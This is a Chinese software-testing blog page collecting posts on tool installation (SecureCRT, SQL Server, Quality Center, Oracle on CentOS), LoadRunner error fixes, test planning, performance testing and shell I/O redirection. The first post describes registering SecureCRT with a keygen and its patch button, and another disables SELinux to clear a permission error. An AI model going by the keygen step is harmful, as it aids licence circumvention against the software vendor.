       今天很开心,上次遇到的问题解决了

      1.关于secureCRT注册问题,原来它的license生成机要打个补丁,就是运行SecureCRT-kg.exe后,有个patch按钮,一定要点,不然就不能成功。这个错误完全是我粗心造成的,手册上写的很清楚,也特别提到,我也看了,就是实际操作的时候没放在心上,一至与怎么都没发现是什么地方出了差错。一定要细心!!!!!!!!!!!!!

      2.sql server 的安装,安装包里有三个版本,企业版,开发版,个人版,在自己家里用,只能装个人版和开发版,不能装企业版(为什么?这个问题要去查一下),安装时要选择客户端和服务器,这样就没什么问题了,sql server安装成功。这个问题是我不了解数据库导致的,所以应该再找点资料,多了解点,去了解下客户端和服务器是怎么回事。

     3.QC的安装,数据库搞定后,QC就好多了,只要注意一下几点就可以了

       1.要选择第一个节点 2.选择windows用户验证,输入用户名和密码,注意域要填workgroup 3.在选择邮箱服务器是选择无。4.如果安装中提示‘输入的用户名和密码要Jboss服务器相同,就到我的电脑-属性-高级-性能设置-数据执行保护:选择第一个选项,重启电脑,这样再安装QC就可以了。

     

  • LR 问题收集

    jieran805 发布于 2009-06-11 19:48:53

    1.LoadRunner超时错误:在录制Web协议脚本回放时超时情况经常出现,产生错误的原因也有很多,解决的方法也不同。

      错误现象1:Action.c(16): Error -27728: Step download timeout (120 seconds) has expired when downloading non-resource(s)。

      错误分析:对于HTTP协议,默认的超时时间是120秒(可以在LoadRunner中修改),客户端发送一个请求到服务器端,如果超过120秒服务器端还没有返回结果,则出现超时错误。

      解决办法:首先在运行环境中对超时进行设置,默认的超时时间可以设置长一些,再设置多次迭代运行,如果还有超时现象,需要在“Runtime Setting”>“Internet Protocol:Preferences”>“Advanced”区域中设置一个“winlnet replay instead of sockets”选项,再回放是否成功。

      错误现象2:Action.c(81):Continuing after Error -27498: Timed out while processing URL=http://172.18.20.70:7001/workflow/bjtel/leasedline/ querystat/ subOrderQuery.do

      错误分析:这种错误常常是因为并发压力过大,服务器端太繁忙,无法及时响应客户端的请求而造成的,所以这个错误是正常现象,是压力过大造成的。

      如果压力很小就出现这个问题,可能是脚本某个地方有错误,要仔细查看脚本,提示的错误信息会定位某个具体问题发生的位置。

      解决办法:例如上面的错误现象问题定位在某个URL上,需要再次运行一下场景,同时在其他机器上访问此URL。如果不能访问或时间过长,可能是服务器或者此应用不能支撑如此之大的负载。分析一下服务器,最好对其性能进行优化。

      如果再次运行场景后还有超时现象,就要在各种图形中分析一下原因,例如可以查看是否服务器、DNS、网络等方面存在问题。

      最后,增加一下运行时的超时设置,在“Run-Time Settings”>“Internet Protocol:Preferences”中,单击“options”,增加“HTTP-request connect timeout” 或者“HTTP-request receive”的值。

    2.LoadRunner脚本中出现乱码:在录制Web协议脚本时出现中文乱码,在回放脚本时会使回放停止在乱码位置,脚本无法运行。

      错误现象:某个链接或者图片名称为中文乱码,脚本运行无法通过。

      错误分析:脚本录制可能采用的是URL-based script方式,如果程序定义的字符集合采用的是国际标准,脚本就会出现乱码现象。

      解决办法:重新录制脚本,在录制脚本前,打开录制选项配置对话框进行设置,在“Recording Options”的“Advanced”选项里先将“Surport Charset”选中,然后选中支持“UTF-8”的选项。

    3.LoadRunner HTTP服务器状态代码:在录制Web协议脚本回放脚本的过程中,会出现HTTP服务器状态代码,例如常见的页面-404错误提示、-500错误提示。

      错误现象1:-404 Not Found服务器没有找到与请求URI相符的资源,但还可以继续运行直到结束。

      错误分析:此处与请求URI相符的资源在录制脚本时已经被提交过一次,回放时不可再重复提交同样的资源,而需要更改提交资源的内容,每次回放一次脚本都要改变提交的数据,保证模拟实际环境,造成一定的负载压力。

      解决办法:在出现错误的位置进行脚本关联,在必要时插入相应的函数。

      错误现象2:-500 Internal Server Error服务器内部错误,脚本运行停止。

      错误分析:服务器碰到了意外情况,使其无法继续回应请求。

      解决办法:出现此错误是致命的,说明问题很严重,需要从问题的出现位置进行检查,此时需要此程序的开发人员配合来解决,而且产生的原因根据实际情况来定,测试人员无法单独解决问题,而且应该尽快解决,以便于后面的测试。

    4.LoadRunner请求无法找到:在录制Web协议脚本回放脚本的过程中,会出现请求无法找到的现象,而导致脚本运行停止。

      错误现象:Action.c(41): Error -27979: Requested form. not found [MsgId: MERR-27979]

      Action.c(41): web_submit_form. highest severity level was “ERROR”,0 body bytes, 0 header bytes [MsgId: MMSG-27178]”

      这时在tree view中看不到此组件的相关URL。

      错误分析:所选择的录制脚本模式不正确,通常情况下,基于浏览器的Web应用会使用“HTML-based script”模式来录制脚本;而没有基于浏览器的Web应用、Web应用中包含了与服务器进行交互的Java Applet、基于浏览器的应用中包含了向服务器进行通信的JavaScript/VBScript代码、基于浏览器的应用中使用HTTPS安全协议,这时则使用“URL-based script”模式进行录制。

      解决办法:打开录制选项配置对话框进行设置,在“Recording Options”的“Internet Protocol”选项里的“Recording”中选择“Recording Level”为“HTML-based script”,单击“HTML Advanced”,选择“Script. Type”为“A script. containing explicit”。然后再选择使用“URL-based script”模式来录制脚本。

    5.LoadRunner不执行检查方法:在录制Web协议脚本中添加了检查方法Web_find,但是在脚本回放的过程中并没有执行。

      错误现象:在脚本中插入函数Web_find,在脚本中设置文本以及图像的检查点,但是在回放过程中并没有对设置的检查点进行检查,即Web_find失效。

      错误分析:由于检查功能会消耗一定的资源,因此LoadRunner默认关闭了对文本以及图像的检查,所以在设置检查点后,需要开启检查功能。

      解决办法:打开运行环境设置对话框进行设置,在“Run-time Settings”的“Internet Protocol”选项里的“Perference”中勾选“Check”下的“Enable Image and text check”选项。

    6.LoadRunner回放Web Services协议脚本错误:LoadRunner 8.0版本在录制Web Services协议的脚本时正常,但在回放时会出现错误,提示停止脚本运行。

      错误现象:利用LoadRunner 8.0版本来录制Web Services协议的脚本没有任何错误提示,回放脚本时会出现如下错误提示“Error:server returned an incorrectly formatted SOAP response”。

      错误分析:出现此错误的原因是LoadRunner8.0在录制Web Services协议的脚本时存在一个缺陷:如果服务器的操作系统是中文的,VuGen会自动将WSDL文件的头改为<?xml version=”1.0″encoding=”zh_cn” ?>,所以才会有此错误提示。

      解决办法:下载两个补丁,分别为“LR80WebServicesFPI_setup.exe”和“lrunner_web_ services_patch_1.exe”安装上即可。

  • 验收测试与确认测试

    kuailederen 发布于 2009-02-05 15:31:02

    从测试的策略来说,测试只分为这两类,验收测试和确认测试。

    验收测试:你是在构造正确的产品吗?

    确认测试:你是在正确的构造产品吗?

    可以看出,验收测试关注的是软件是否被正确的编码。我们通常所说的黑盒白盒都属于验收测试。具体的讲,他包括单元测试 ,集成测试的大部分和系统测试的全部:文档测试,数据库测试,压力测试,业务功能测试等。测试主要针对技术实施的是否正确。确认测试关注的是软件是否符合用户的需要,也就是说出发点是需求。我理解的确认测试,是需要用户参与的。因为无论开发还是测试人员,都不是产品的最终用户,都不能真正的代表用户的需求。我们通常所说的a测试和b测试,其实就是确认测试阶段的工作,直接由用户参与或bata版本,由用户单独体验测试。

    由技术人员参与的确认测试包括需求的覆盖,兼容性,扩展性,性能指标。

    由用户参加的确认测试主要是可用性和易用性测试,当然还包括所有业务功能的体验测试。

    但目前国内软件公司急功近利,开发周期短,很少有此阶段的测试安排。
    但作为测试部门,有一部分工作是可以做的,那就是回归需求。前提:如果前期的需求采集做的好,那么我们的回归需求是有意义的。
    至于具体的实施方法,我不得而知了,没有相关的工作经验。

     

  • 清华大学校长留给毕业生的一段话

    kuailederen 发布于 2009-03-03 09:19:52

    未来的世界:方向比努力重要,能力比知识重要,健康比成绩重要,生活比文凭重要,情商比智商重要
          
  • 测试计划怎么写---测试过程改进的一个具体应用

    kuailederen 发布于 2009-06-11 11:03:49

    相信做过测试管理的人,都有过此类担心,就是写一个怎么样的测试计划才是有效的呢? 才能保证项目进度而又不会过度疲劳?我知道,绝大部分人都是根据感觉和经验来写的,时间不够就多加班,时间富裕就多给自主测试的时间,这样看来,计划也能被有效的实施。但如果要求写一份定时定量的计划,这样就不好应对了。所谓定时定量,就是要求你根据项目实际的工作量,来量身制定一个测试计划。

       那么现在就要用到我们测试过程中收集到得数据了,这个过程我用到以下数据:
    1.测试需求数
    2.测试点数
    3.测试用例数
    4.每天每人执行用例数
    5.每天每人设计用例数

    以上这些,是用来评估工作量的,这是制定计划时的重点。
    我的过程是这样的(以下使用的数据是本人在多个项目中的统计):
    假设该项目有500个需求点,分解出2000个测试点。(这部分工作在制定测试策略中完成)
    每个测试点需要两个用例对应,有4000个用例。
    没人每天执行30--50个用例,每人每天可设计60--100个用例。
    那么设计用例阶段共需要40---65天/人的工作量,执行用例阶段需要 80---130天/人的工作量

    下一步,让我们制定一个计划吧。可协调的测试人员5--10人,根据项目分配。

    如果5人的话,完成设计用例和执行用例两个阶段,共需要24--39天
    如果10人的话,完成设计用例和执行用例两个阶段,共需要12--19.5天

    前期培训一天,需求学习三天,用例评审两天,搭建环境1天,测试计划,测试方案编写测试负责人可并行完成,不单独分配时间。
    第一轮测试,对于项目具体情况不清楚,建议有3--5天的时候自由测试和应对一些突发事件。
    那么整个项目
    如果5人的话,完成设计用例和执行用例两个阶段,共需要34--51天
    如果10人的话,完成设计用例和执行用例两个阶段,共需要22--31.5天

    这个范围,可根据具体情况选取,项目紧,加大工作量到上限,项目周期宽松,工作量调到下限,以便测试人员有时间验证自己的想法。

    人员的选择,也是根据项目周期来选吧,介于5--10人之间,都可以很容易的调整计划。

    如果一轮测试需要进入下一轮,那么增加2天调整期和验证缺陷的时间,一天搭建新环境的时间及了解需求改动等等的时间。
    然后进入新的一轮计划,方法同上。

    这是我想到的,测试过程中一些统计数据在过程改进中的一个具体应用。

  • 蜘蛛网一样的流程分析图?--6月10日日报(测试用例设计方法,小唐老师)

    seifer548 发布于 2009-06-11 22:32:41

        今天早上在电梯里碰到唐老师了,简单沟通了几句,感觉就是大大咧咧,还有点小迷糊的那种,跟上课时候的清晰思路有天壤之别啊。呵呵,这样的老师可能会比较容易相处吧。今天主讲的是状态迁移图和流程分析法,主要是实践为主。画那个Outlookd的流程的时候一不小心就画成蜘蛛网了,看来还是需要多实践多总结啊。

        状态机:程序所有可能的状态以及状态间跳转的条件。

        状态迁移图法步骤:1.绘制状态迁移图(一般已给出)

                       2.定义状态-事件表

                       3.根据状态迁移图推导测试路径

                       4.选取测试数据,构造测试用例(注意非法用例的选取)

        流程分析法主要针对测试场景类型属于流程测试场景的测试项下的测试子项进行设计。

        流程分析法步骤:1.画出业务流程图

                      2.设置功能路径优先级(可根据使用频率和故障影响度两个方面来考虑)

                      3.确定测试路径(1.首先设计场景覆盖基本流.2.设计场景覆盖备选流。

                                   2-1每次只覆盖一个备选流,再考虑备选流被多次走到。2-2或者备选流组合的情况。)

                      4.选取测试数据

                      5.构造测试用例

        状态迁移法与流程分析法的区别:1.状态/动作    2.循环/顺序

  • Quality Center 安装注意事项

    allenzgw 发布于 2007-05-08 20:58:10

    nnd,几乎花了一整天时间,终于把Quality Center 8.2安装好了。
    中间出了不少小问题,摆渡了一下,发现没什么相关资料,只能自己慢慢琢磨了,还好高定了:) 记录下一些资料以供大家参考吧。

    从安装到结束几个注意事项:
    1. Windows 2003 server, 要先打SP1
    2. 安装IIS, Mail service
    3. SQL server 2005,最好是安装标准版,不要安装Express版,没有数据库的管理工具。安装过程中记住自己的管理员账号。
    4. Weblogic,之后要在Configuration Wizard中配置自己的服务,记住自己的账号。
    5. 之后一定要运行配置好的服务器,否则QC找不到weblogic服务器
    6. 在之后的SQL配置中,服务器名称:localhost,我晕,我一直以为是MSSQLSERVER.
    7. 如果没有license不要安装Quick Test 9.0,那个Starter Edition, 缺少了很多功能,而且数据库还老是出毛病。

    over!

    QC的确不错,是个好东东,稍微看了一下,有不少东西要学。我觉得QC的思路不错,把抽象的概念细化,细化,再细化就成为具体的东西了。4个步骤就是这样,Specify Requirment-->Plan Test-->Execute Test-->Track Defects. 而Specify Requriement再细化为4步Define Test Scope-->Create Requriement-->Detail Requriement-->Analysis Requirement.

     

  • 是否做自动化测试的判定

    allenzgw 发布于 2007-05-10 11:33:03

    Do automate:

    • Tests that will run with each new version of your
    application to check the stability of basic functionality
    across the entire application (regression test).
    • Tests that use multiple data values for the same
    operation (data-driven tests).
    • Tests that are run many times (stress tests) and tests that
    check a multi-user client/server system (load tests).

    Do not automate:

    • Tests that will be executed only once.
    • Tests that require immediate execution.
    • Tests that check how easy the application is to use
    (usability tests).
    • Tests that do not have predictable results.

  • 在CentOS 5.1中 安装Oracle11g

    allenzgw 发布于 2009-01-01 20:44:40

    来公司已经半年多没有项目了,是在吃不消了,决定要给自己找点真正的事情做做了。这半年多,乱七八糟的学了一大堆,xml, perl, python, oracle, PMP什么的,但是学的都不深入。现在终于下定决定要好好学习oracle, PMP了,争取09年6月份之前搞一个PMP一个OCA,报名的事情已经基本搞好了,到时候交钱就行了。

    3天前,准备开始在Linux上安装oracle11g, 毕竟在windows平台使用oracle 感觉十分不正宗,真正的企业用户哪里有在Windows上面跑Oracle的啊,不过由于n久之前安装oracle 9i for linux失败过,那种不爽的感觉,想到就感觉不爽,呵呵。这次给自己10天的时间,好好研究每一步怎么搞。

    不过这一路安装过程真的十分曲折,如若不是我坚强,估计又是没有下文了。5天前开始安装CentOS,下载了第一个DVD 镜像,结果,nnd有病毒!而且安装到我的VMware 6.0一启动就没有任何反应了,死在那个地方了,不知道怎么回事,搞了一晚上没搞定,当时怀疑是DVD镜像有问题,在xp里面打开某些文件,瑞星果然提示有木马!我倒,第二天,我重新下载了cd版的镜像,安装,还是不行,一启动VMware就死掉了!只要重新恢复XP,怕再有毛病,我直接装了VMWare 6.5,果然很好用,一路安装一点都没问题。CentOS安装好,之后开始安装Oracle11g,首先我看了小布老师的课程,但是没有边看边做,我大致看了一下,有了个大概印象,就自己开始搞了,不过真是遇到不少的问题:
    1. 安装Oracle11g的时候有preinstall requirement,需要首先安装一些软件包,但是CentOS5.1要是使用软件包管理器的话,还必须要上网,这就导致必须要让CentOS连接到外网,在网上搜素相关这是Bridge, NAT形式的文章,搞了2天多才搞定,但是自己还不是十分明白其中的原理,因为有时候我按照网上说的做就搞定了,有时候就不行
    2. 设置好之后,使用CentOS自带的yum install xxxx命令,乖乖,这个工具真的非常好使,只需要输入想要安装的软件包名称,然后系统就会自动寻找软件包,然后,找出几个选择问你是否是你想要的,然后自动安装,很棒,只需要一路回车就搞定十来个软件包!
    3. 然后设置内核参数
    4. 添加oracle用户和用户组
    5. 关于用户shell权限,根据oracle提供的安装文档是应该设置的,可是我第一次设置之后总是有些问题,后来我就没设置了,倒也没什么问题。
    6. 设置Base,home, Inverntory目录
    7. 一切设置后开始安装。
    安装的时候,注意,使用oracle用户登录系统,直接在文件管理器中运行runInstall文件,否则会出现一个说屏幕颜色小于256的提示,一直无法通过,另外也不要一root用户运行runInstall,
    8. 开始安装之后,我发现我犯了一个难以挽回的错误,就是我系统可用空间不够了,原来我是用的是默认的8G的空间,如果只运行Linux没有绰绰有余,但是,安装Oracle11g需要3.5g空间,另外需要1G临时空间,总共4.5G,外加CentOS系统需要4G,起码要有10G的空间。悔之晚矣啊,后来看到可以通过一个命令来修改虚拟机中系统的最大空间,尽管我修改到了11G,但是,好像在CentOS中显示依然是原来的8G,不知道是不是还要使用什么Disk命令。当时也不管了,直接心想就安装在CentOS与XP共享的空间里面吧(VMware中可以设置共享目录,在/mnt/hgfs/下面可以看到),结果通过这种方式安装上去了,但是提示最起码有20个乱七八糟的错误和警告,安装好之后,Oracle也无法启动。唔可以奈何,只好再次重装CentOS,

    现在每天其实都有好多事情要做,新房子装修好了,但是材米油盐酱醋茶所有这些东西都没有准备,哎,反正每天都是白天忙这些,晚上回家有点时间才能忙忙学习,真是累。昨天晚上接着重新装CentOS,然后今天下午装oracle,一点一点装,飞了一下午功夫,总算是搞好了,在oracle的图形安装过程中竟然一个错误和警告都没有,很爽!呵呵,装好之后,遇到另一个问题:
    1. sqlplus无法启动,说是我没有权限云云,后来发现原来是SeLinux的问题,只要禁掉SeLinu就搞定了!

    期间小问题也是无数啦,不过庆幸的是终于搞定了。发现如果身边有个人能教我,或者能帮忙解决一些问题,整个过程不知道要快多少倍了,不过自己有了这个经验,以后帮助别人也就容易多了。

    另外通过设置系统种种问题,为学习OCA过程真的帮助也不少,对很多概念比如ORACLE_HOME还有某些iniSID文件等等,清晰多了。恩,自己给自己加油打气,其实绝大部分人都是生活在一个没有人可以在旁边直接帮你的环境了,我们的进度绝大多数情况下只能靠自己,这时候,自学能力强,自然会体现出来。恩,计划让自己在2月底的时候把OCA课程学完,然后大半个月学PL/SQL,然后争取3月份考完OCA。然后后面3个月时间再全力以赴PMP。

  • 《Loadrunner虚拟用户开发指南》让我再一次失望

    allenzgw 发布于 2009-06-11 19:39:40

    今天急急忙忙赶时间,10来分钟时间选了2本性能测试的书。其中一本就是陈绍英的这本书,哎,当时心想,尽管他的第一本性能测试实战哪本书,说的并不是很好,但是也还是给我了不少帮助,现在又过了这么多时间,应该会有所长进吧,而且看后面还有前面的推荐,都是比较牛叉的人写的,这书应该还不错,而且是专门讲脚本录制的应该很深入。

    回家一看,我发现我又错了!真的不可原谅自己!我竟然再一次相信了他,68大元的书,真的不值!不是我在这里故意说什么,我真的觉得不值:
    1. 从高一点层次上面看,这本书的作者本身没有太多把他自己的思想融入进去,我看到的就是一个介绍,介绍再介绍,这个问题之前的哪本书就有。就是基本概念的堆砌,介绍,然后讲历史。所有牵涉到的概念都是介绍,很少有深入的探讨。比如对C#的虚拟用户那章,就是首先把以前他那本书的同样一部分内容重新copy一遍(大家可以参考web性能测试哪本书),然后,他竟然又把C#的基础语法知识什么罗列了一遍,然后把一些他的源代码copy上来(这个源代码倒还有些帮助),但是,我看不到他的任何思想,任何进一步的探讨。
    2. 这本书,定位应该是初学者,对于稍微有一点经验的而言,也就是随便翻翻可以,让你大致在某个方向比如java虚拟用方面稍微入门一下。但是他不能给你一个思想,一个思路,一个符合项目流程中需要的各种问题的解决思路。其实我们更需要的是这个思路和方法,而不是把各种基础东西“介绍”给你。

    这本书的好处:好处就在于,他罗列了各种基本知识,方便你阅读,省的你上google了。但是要是你想真正的做一个项目,分析问题,你需要另外找一本书。

    不是说这样写不行,我只是觉得,对不起这本书的价格和厚度!也对不起国内性能测试第一本书作者的位置!我有点失望,也许是我期望太高了。想想,也许我预言过重了,但是我真的期望这是一本好书。相对而言我买了另一本书,其逻辑性实用性远高于这本书,所以我更觉得对这本书的失望。哪本书是什么我也不说了,省的说我是书托。书到底如何大家看看自会有定论。

     

  • 性能测试 非山寨版心得之一

    allenzgw 发布于 2009-02-15 20:29:16Digest 3

    以前做过一些山寨版的性能测试,我都说了,是山寨么,当然不正规,不过,现在有多少企业的测试流程是正规的能,何况性能测试的流程呢。这是现状,也是机遇。这次因为项目需要,要做一个比较正规的,而且有一定难度的性能测试了。B/S, C/S, 接口性能,都涉及到,对自己也是个挑战和提高。

    这一个星期主要做需求理解和性能需求分析,然后写性能测试计划和测试用例。发现了很多问题,总结如下:

    需求分析问题:

    1. 刚开始最好不要上来就跟客户谈,某个性能点需要什么样的指标,比如支持多少人同时登陆,等等。一上来最主要的事情是了解整个系统的作用,用户,部署的方式,约束,上线时间,等等,目的是让自己能慢慢的站在客户角度来看待这个系统,通过自己的知识,想客户所想,忧客户所忧,因为我们的目的就是要让客户满意么。
    注意性能测试场景选择的原则:
    a,
    重要的(业务上),
    b.
    重复的(最常用的模块),
    c.
    重量级的(消耗大量系统资源的)
    具体性能指标分为几类类:
    a.
    系统容量(数据容量、用户量、并发用户量),
    b.
    系统并发度指标(注册用户、在线用户、并发用户),
    c
    ,响应度指标(正常压力下响应能力、峰值压力下的响应能力,以及异常压力下的响应能力) 

    2. 理解整个系统及其实现之后,再列出自己分析得到的性能需求点。

    3. 询问客户的具体性能需求,共同分析,是否测试,测试的优先级。

    4. 写出性能测试计划和用例,并要得到客户认可。

    性能测试策略:

    1. 单一性能点,多用户测试。测试过程可以隔离测试性能场景,先单独测试加压每种性能需求点,比如 用户登陆,可以单独模拟此需求,建立比如50人并发登陆的场景。但此种场景并非是用户实际使用情况,不可能有个系统大家只是在拼命的登陆,而不作其他事情。但是,如果在做别的事情,那么同时再有50人并发登陆的话,那这个登陆时间会大大的延长的。所以此场景的设计仅仅为了检查这一个模块的性能水平。

    2. 隔离之后,再逐步建立混合的性能场景。比如登陆的同时有人在浏览、查询、写入系统。但是此时只加载20%的负载。这一步主要是一个集成测试,考虑各个功能模块之间是否有影响,是否有对某些资源的抢夺等问题。同时找出Top Time Transaction

    3. 如果上一步没问题了,这次就加压100%,看看在真正我们规定的要求下,系统各项性能指标如何,同时对本次测试结果作为Base Line,用来性能调优之后的比较。

    4. 压力测试,看系统的最大负载能力。

    性能测试能力问题

    Loadrunner是性能测试一个非常好用,同时也比较复杂的工具。经过这么一段时间的学习和使用发现其难点在于:

    1,脚本录制和开发,怎么写这个东东,比如怎么样让日志输出合适的信息,对于后期分析有很重要的意义,这些都会有些开发能力要求。

    2 如何设计测试场景,最大程度的模拟用户需求,这个有挑战,是对需求理解的挑战,对整个系统设计和实现的理解,如果知道的东西很少,那理解起来就很费力,也不容易把握住重点,这个功夫也在LR之外。

    3,性能测试出来之后,结果如何分析,呵呵,这个更是挑战了,挑战来自什么的?我觉得这个也不是来自LR本身,而是来自对数据库、操作系统、中间层和这个被测系统本身的理解。这个应该是最难的。调优,在哪个行业不是是最难的啊?单独一个Oracle,  SQL Server调优那需要DBA多长时间的积累啊,何况我们需要懂的不仅仅是数据库。当然这个阶段可以找DBA来帮我们分析解决问题。这个要求也是在LR之外的。

    所以,性能测试工具本身并不是最大难点,学会使用工具也仅仅是个起点。能做好性能测试人的本事最主要也不是在如何熟练的使用LoadRunner, 或者 JMeter,主要的是对系统的理解和掌控,一种大局观。我自己感觉,自从这几个月比较深入的学习OracleLinux之后,对性能的理解越来越深刻了,测试过程会有计划有目标的选取某些数据,执行某个过程,不像以前仅仅是个表面的照葫芦画瓢,尽管测试完了,但却总是感觉心里不安。

    发现这个世界,道理都是相同的,你越是想搞钱,越是难搞到钱,即使有,也都不会是大钱。为什么呢?因为能赚多少钱,这个东西,不在钱本身,而在钱之外。我想当年Bill、李嘉诚也没想自己一定要赚多少多少钱吧,他想的是怎么把这个事情做大、做好、做强吧,要不然他们也不会有钱之后,又投入这么大把的钱到慈善事业上的了,李嘉诚可是放弃了1/3啊!不像国内的某些企业家仅仅做个样子而已。扯远了……性能测试似乎也是这样,能力在性能测试之外。所以说吧,做什么都要放大视野,这样道路才会更宽!

     

  • I/O重定向 详解及例子! (ZT)

    allenzgw 发布于 2009-01-15 15:16:24

    下文对学习Shell programming 非常重要

    1、基本概念
      a、I/O重定向通常与 FD有关,shell的FD通常为10个,即 0~9;
      b、常用FD有3个,为0(stdin,标准输入)、1(stdout,标准输出)、2(stderr,标准错误输出),默认与keyboard、monitor、monitor有关;
      c、用 < 来改变读进的数据信道(stdin),使之从指定的档案读进;
      d、用 > 来改变送出的数据信道(stdout, stderr),使之输出到指定的档案;
      e、0 是 < 的默认值,因此 < 与 0<是一样的;同理,> 与 1> 是一样的;
      f、在IO重定向 中,stdout 与 stderr 的管道会先准备好,才会从 stdin 读进资料;
      g、管道“|”(pipe line):上一个命令的 stdout 接到下一个命令的 stdin;
      h、tee 命令是在不影响原本 I/O 的情况下,将 stdout 复制一份到档案去;
      i、bash(ksh)执行命令的过程:分析命令-变量求值-命令替代(``和$( ))-重定向-通配符展开-确定路径-执行命令;
      j、( )  将 command group 置于 sub-shell 去执行,也称 nested sub-shell,它有一点非常重要的特性是:继承父shell的Standard input, output, and error plus any other open file descrīptors。
      k、exec 命令:常用来替代当前 shell 并重新启动一个 shell,换句话说,并没有启动子 shell。使用这一命令时任何现有环境都将会被清除,。exec 在对文件描述符进行操作的时候,也只有在这时,exec 不会覆盖你当前的 shell 环境。


    2、基本IO
      cmd > file                        把 stdout 重定向到 file 文件中
      cmd >> file                        把 stdout 重定向到 file 文件中(追加)
      cmd 1> fiel                        把 stdout 重定向到 file 文件中
      cmd > file 2>&1                把 stdout 和 stderr 一起重定向到 file 文件中
      cmd 2> file                        把 stderr 重定向到 file 文件中
      cmd 2>> file                        把 stderr 重定向到 file 文件中(追加)
      cmd >> file 2>&1                把 stderr 和 stderr 一起重定向到 file 文件中
      cmd < file >file2                cmd 命令以 file 文件作为 stdin,以 file2 文件作为 stdout
      cat <>file                             以读写的方式打开 file
      cmd < file                        cmd 命令以 file 文件作为 stdin
      cmd << delimiter                Here document,从 stdin 中读入,直至遇到delimiter 分界符


    3、进阶IO
      >&n                使用系统调用 dup (2) 复制文件描述符 n 并把结果用作标准输出
      <&n                标准输入复制自文件描述符 n
      <&-                关闭标准输入(键盘)
      >&-                关闭标准输出
      n<&-                表示将 n 号输入关闭
      n>&-                        表示将 n 号输出关闭
    上述所有形式都可以前导一个数字,此时建立的文件描述符由这个数字指定而不是缺省的 0 或 1。如:
      ... 2>file        运行一个命令并把错误输出(文件描述符 2)定向到 file。
      ... 2>&1                运行一个命令并把它的标准输出和输出合并。(严格的说是通过复制文件描述符 1 来建立文件描述符 2 ,但效果通常是合并了两个流。)

      2>&1说明:2>&1 也就是 FD2=FD1 ,这里并不是说FD2 的值 等于FD1的值,因为 > 是改变送出的数据信道,通俗的说是:把stderr并到stdout。
      但使用类似 cmd 1>&3 这样的形式时,原理相同,但往往不同于 2>&1 和 1>&2 通常用来合并的作用。
         
        注意:普通cmd命令的cmd n>&n 和exec n>&n 是有区别的。

        exec 0<infilename                # 打开文件infilename作为 stdin
        exec 1>outfilename                # 打开文件outfilename作为stdout
        exec 2>errfilename                # 打开文件 errfilename作为 stderr
        exec 0<&-                                # 关闭 FD0
        exec 1>&-                                # 关闭 FD1
        exec 5>&-                                # 关闭 FD5

    问:
    如果关闭了 FD0、FD1、FD2,其后果是什么?
    恢复 FD0、FD1、FD2与 关闭FD0、FD1、FD2 有什么区别?代码分别是什么?
    打开了FD3~FD9,我们用完之后,你觉得是将他们关闭还是恢复?


    下面是提示(例子来源于CU):
      exec 6>&2 2>ver       # FD2(本来往monitor送的) 定向到文件ver
      command >>dev/null &   #丢弃FD1(stdout)
      exec 2>&6                 # 恢复 FD2


    4、简单举例(其中 yes.txt存在,no.txt不存在)
      a、stdout 和stderr 都通过管道送给egrep了:
        (ls yes.txt 2>&1;ls no.txt 2>&1) 2>&1|egrep \* >file
        (ls yes.txt;ls  no.txt) 2>&1|egrep \* >file

    ###
      这个例子就是让大家:理解 命令执行顺序 和 管道“|”
        在命令执行前,先要进行重定向的处理,并将把 nested sub-shell 的stdout 接到 egrep 命令的 stdin。
        nested sub-shell ,在 ( ) 中的两个命令可以看作一个命令。其 stdout(FD1) 通过 “|” 作为 egrep 的 stdin,再加上 2>&1 时,初始 stdout 和 stderr 都往管道 “|” 送。
    ###

      b、没有任何东西通过管道送给egrep,全部送往monitor。
        (ls yes.txt 2>&1;ls no.txt 2>&1) >&2|egrep \* >file
        虽然在()里面将 FD2转往FD1,但在()外,遇到 >&2 ,结果所有的都送到monitor。


    5、中阶例子(其中 you 这个文件是存在的,no 和 wu 这两个文件不存在)
    r2007兄的:http://bbs.chinaunix.net/forum/viewtopic.php?t=221848&show_type=new&sid=cf30398c911e0d2b16313c6922123f67

    条件:stderr通过管道送给egrep,正确消息仍然送给monitor(不变)

      exec 4>&1;(ls you no 2>&1 1>&4 4>&-;ls wu 2>&1 1>&4 4>&-)|egrep \* >file;exec 4>&-
      或者
      exec 4>&1;(ls you no;ls wu) 2>&1 1>&4 4>&-|egrep \* >file;exec 4>&-

    r2007 兄在其贴已有详细说明,如果加两个条件:
      (1)要求cmd1和cmd2并行运行;
      (2)将cmd1的返回值赋给变量 ss。

    则为:
      exec 3>&1;exec 4>&1
      ss=$(((ls you no 2>&1 1>&3 3>&-;echo $? >&4)|egrep \* >file) 4>&1)
      exec 3>&-;exec 4>&-

    说明:
      exec 3>&1;4>&1
      ### 建立FD3,是用来将下面ls那条语句(子shell)中的FD1 恢复到正常FD1,即输出到monitor,你可以把FD3看作最初始的FD1的硬盘备份(即输出到monitor);
      ### 建立FD4,到时用作保存ls的返回值(echo $?),你可以将FD4看作你考试时用于存放计算“echo $?”的草稿纸;

      (ls you no 2>&1 1>&3 3>&-;echo $? >&4)
      ### 大家还记得前面说的子shell和管道吧。这条命令首先会继承FD0、FD1、FD2、FD3、FD4,它位于管道前,所以在运行命令前会先把子shell自己的FD1和管道“|”相连。
      但是我们的条件是stderr通过管道送往egrep,stdout仍然输出到monitor。
      于是通过2>&1,先把 子shell的FD1 的管道“送给”FD2,于是子shell中的stderr送往管道“|”;
      再通过 1>&3,把以前的“硬盘备份”恢复给子shell的FD1,于是子shell中的FD1变成送到monitor了。
      再通过3>&- ,将3关闭;
      接着运行echo $? ,本来其输出值应该送往管道的,通过 >&4 ,将 输出 送往 “草稿纸”FD4,留以备用。

      ((ls you no 2>&1 1>&3 3>&-;echo $? >&4)|egrep \* >file)
      于是,stderr 通过管道送给 egrep ,stdout 送给monitor,但是,还有 FD4,它送到哪去了?
      $(((ls you no 2>&1 1>&3 3>&-;echo $? >&4)|egrep \* >file) 4>&1)
      最后的 4>&1 ,就是把FD4 重定向到 FD1。但由于其输出在 $( )中,其值就赋给变量ss了。

      最后一行关闭 FD3、FD4。


    6、高阶例子
      lightspeed 版主大大的:Shell 经典问题之 [ I/O 重定向] (http://bbs.chinaunix.net/forum/viewtopic.php?t=452079&show_type=new)
      [Q] 对于命令 cmd1, cmd2, cmd3, cmd4. 如何利用单向管道完成下列功能:
        1. 所有命令并行执行
        2. cmd1 和 cmd2 不需要 stdin
        3. cmd1 和 cmd2 的 stdout 定向到 cmd3 的 stdin
        4. cmd1 和 cmd2 的 stderr 定向到 cmd4 的 stdin
        5. cmd3 的 stdout 定向到文件 a, stderr 定向到屏幕
